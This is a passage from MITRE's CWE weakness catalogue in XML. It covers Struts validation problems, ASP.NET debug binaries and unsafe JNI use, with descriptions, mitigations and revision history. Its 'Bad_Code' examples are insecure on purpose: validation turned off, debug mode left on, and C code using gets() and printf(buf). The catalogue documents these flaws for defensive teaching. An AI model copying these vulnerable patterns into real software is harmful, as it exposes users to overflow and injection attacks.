					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Although J2EE applications are not generally susceptible to memory
							corruption attacks, if a J2EE application interfaces with native code
							that does not perform array bounds checking, an attacker may be able to
							use an input validation mistake in the J2EE application to launch a
							buffer overflow attack.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Map every Action Form to a corresponding validation form.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Struts: Unvalidated Action Form</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="109" Name="Struts: Validator Turned Off" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>Automatic filtering via a Struts bean has been turned off,
					which disables the Struts Validator and custom validation logic. This exposes
					the application to other weaknesses related to insufficient input
					validation.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>101</Relationship_Target_ID>
					          <!--Struts Validation Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>693</Relationship_Target_ID>
					          <!--Protection Mechanism Failure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>722</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A1 - Unvalidated Input-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>The Action Form mapping in the demonstrative example disables the form's
						validate() method. The Struts bean: write tag automatically encodes special
						HTML characters, replacing a &lt; with "&amp;lt;" and a &gt; with
						"&amp;gt;". This action can be disabled by specifying filter="false" as an
						attribute of the tag to disable specified JSP pages. However, being disabled
						makes these pages susceptible to cross-site scripting attacks. An attacker
						may be able to insert malicious scripts as user input to write to these JSP
						pages.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that an action form mapping enables validation. Set the validate field to true.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>An action form mapping that disables validation. Disabling
						validation exposes this action to numerous types of attacks. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>XML</Code_Example_Language>
							              <Code>&lt;action path="/download"</Code>
							              <Code>type="com.website.d2.action.DownloadAction"</Code>
							              <Code>name="downloadForm"</Code>
							              <Code>scope="request"</Code>
							              <Code>input=".download"</Code>
							              <Code>validate="false"&gt;</Code>
							              <Code>&lt;/action&gt;</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Struts: Validator Turned Off</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="11" Name="ASP.NET Misconfiguration: Creating Debug Binary" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>Debugging messages help attackers learn about the system and
					plan a form of attack.</Description_Summary>
				        <Extended_Description>
					          <Text>ASP .NET applications can be configured to produce debug binaries. These
						binaries give detailed debugging messages and should not be used in
						production environments. Debug binaries are meant to be used in a
						development or testing environment and can pose a security risk if they are
						deployed to production.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>215</Relationship_Target_ID>
					          <!--Information Exposure Through Debug Information-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>10</Relationship_Target_ID>
					          <!--ASP.NET Environment Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>2</Relationship_Target_ID>
					          <!--Environment-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name=".NET"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Background_Details>
				        <Background_Detail>
					          <Text>The debug attribute of the &lt;compilation&gt; tag defines whether
						compiled binaries should include debugging information. The use of debug
						binaries causes an application to provide as much information about itself
						as possible to the user.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text> Attackers can leverage the additional information they gain from
							debugging output to mount attacks targeted on the framework, database,
							or other resources used by the application.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Avoid releasing debug binaries into the production environment. Change
							the debug mode to false when the application is deployed into production
							(See demonstrative example).</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The file web.config contains the debug mode setting. Setting debug
						to "true" will let the browser display debugging information.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>XML</Code_Example_Language>
							              <Code>&lt;?xml version="1.0" encoding="utf-8" ?&gt;</Code>
							              <Block>
								                <Code>&lt;configuration&gt;</Code>
								                <Block>
									                  <Code>&lt;system.web&gt;</Code>
									                  <Block>
										                    <Code>&lt;compilation</Code>
										                    <Code>defaultLanguage="c#"</Code>
										                    <Code>debug="true"</Code>
										                    <Code>/&gt;</Code>
										                    <Code>...</Code>
									                  </Block>
									                  <Code>&lt;/system.web&gt;</Code>
								                </Block>
								                <Code>&lt;/configuration&gt;</Code>
							              </Block>
						            </Block>
						            <Text>Change the debug mode to false when the application is deployed into
							production.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>ASP.NET Misconfiguration: Creating Debug
						Binary</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Example, Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Background_Details, Common_Consequences,
						Demonstrative_Examples, Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="110" Name="Struts: Validator Without Form Field" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>Validation fields that do not appear in forms they are
					associated with indicate that the validation logic is out of
					date.</Description_Summary>
				        <Extended_Description>
					          <Text>It is easy for developers to forget to update validation logic when they
						make changes to an ActionForm class. One indication that validation logic is
						not being properly maintained is inconsistencies between the action form and
						the validation form.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>101</Relationship_Target_ID>
					          <!--Struts Validation Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>398</Relationship_Target_ID>
					          <!--Indicator of Poor Code Quality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Although J2EE applications are not generally susceptible to memory
						corruption attacks, if a J2EE application interfaces with native code that
						does not perform array bounds checking, an attacker may be able to use an
						input validation mistake in the J2EE application to launch a buffer overflow
						attack.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>It is critically important that validation logic be maintained and
							kept in sync with the rest of the application. Unchecked input is the
							root cause of some of today's worst and most common software security
							problems. Cross-site scripting, SQL injection, and process control
							vulnerabilities all stem from incomplete or absent input validation.
						</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>To find the issue in the implementation, manual checks or automated
							static analysis could be applied to the xml configuration files.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>An action form with two fields.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class DateRangeForm extends ValidatorForm {</Code>
							              <Block>
								                <Code>String startDate, endDate;</Code>
								                <Code/>
								                <Code>public void setStartDate(String startDate) {</Code>
								                <Block>
									                  <Code>this.startDate = startDate;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>public void setEndDate(String endDate) {</Code>
								                <Block>
									                  <Code>this.endDate = endDate;</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>This example shows an action form that has two fields, startDate and
							endDate.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>A validation form with a third field.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>XML</Code_Example_Language>
							              <Code>&lt;form name="DateRangeForm"&gt;</Code>
							              <Block>
								                <Code>&lt;field property="startDate" depends="date"&gt;</Code>
								                <Block>
									                  <Code>&lt;arg0 key="start.date"/&gt;</Code>
								                </Block>
								                <Code>&lt;/field&gt;</Code>
								                <Code>&lt;field property="endDate" depends="date"&gt;</Code>
								                <Block>
									                  <Code>&lt;arg0 key="end.date"/&gt;</Code>
								                </Block>
								                <Code>&lt;/field&gt;</Code>
								                <Code>&lt;field property="scale" depends="integer"&gt;</Code>
								                <Block>
									                  <Code>&lt;arg0 key="range.scale"/&gt;</Code>
								                </Block>
								                <Code>&lt;/field&gt;</Code>
							              </Block>
							              <Code>&lt;/form&gt;</Code>
						            </Block>
						            <Text>This example lists a validation form for the action form. The
							validation form lists a third field: scale. The presence of the third
							field suggests that DateRangeForm was modified without taking validation
							into account.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Struts: Validator Without Form Field</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="111" Name="Direct Use of Unsafe JNI" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>When a Java application uses the Java Native Interface (JNI) to
					call code written in another programming language, it can expose the application
					to weaknesses in that code, even if those weaknesses cannot occur in
					Java.</Description_Summary>
				        <Extended_Description>
					          <Text>Many safety features that programmers may take for granted simply do not
						apply for native code, so you must carefully review all such code for
						potential problems. The languages used to implement native code may be more
						susceptible to buffer overflows and other attacks. Native code is
						unprotected by the security features enforced by the runtime environment,
						such as strong typing and array bounds checking.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>695</Relationship_Target_ID>
					          <!--Use of Low-Level Functionality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>859</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 14 - Platform Security (SEC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>887</Relationship_Target_ID>
					          <!--SFP Cluster: API-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Implement error handling around the JNI call.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Do not use JNI calls if you don't trust the native library.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Be reluctant to use JNI calls. A Java API equivalent may exist.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code defines a class named Echo. The class declares
						one native method (defined below), which uses C to echo commands entered on
						the console back to the user. The following C code defines the native method
						implemented in the Echo class:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>class Echo {</Code>
							              <Block>
								                <Code/>
								                <Code>public native void runEcho();</Code>
								                <Code>static {</Code>
								                <Block>
									                  <Code/>
									                  <Code>System.loadLibrary("echo");</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>public static void main(String[] args) {</Code>
								                <Block>
									                  <Code/>
									                  <Code>new Echo().runEcho();</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>#include &lt;jni.h&gt;</Code>
							              <Code>#include "Echo.h"//the java class above compiled with javah</Code>
							              <Code>#include &lt;stdio.h&gt;</Code>
							              <Code/>
							              <Code>JNIEXPORT void JNICALL</Code>
							              <Code>Java_Echo_runEcho(JNIEnv *env, jobject obj)</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>char buf[64];</Code>
								                <Code>gets(buf);</Code>
								                <Code>printf(buf);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Because the example is implemented in Java, it may appear that it is
							immune to memory issues like buffer overflow vulnerabilities. Although
							Java does do a good job of making memory operations safe, this
							protection does not extend to vulnerabilities occurring in source code
							written in other languages that are accessed using the Java Native
							Interface. Despite the memory protections offered in Java, the C code in
							this example is vulnerable to a buffer overflow because it makes use of
							gets(), which does not check the length of its input.</Text>
						            <Text>The Sun Java(TM) Tutorial provides the following description of JNI
							[See Reference]: The JNI framework lets your native method utilize Java
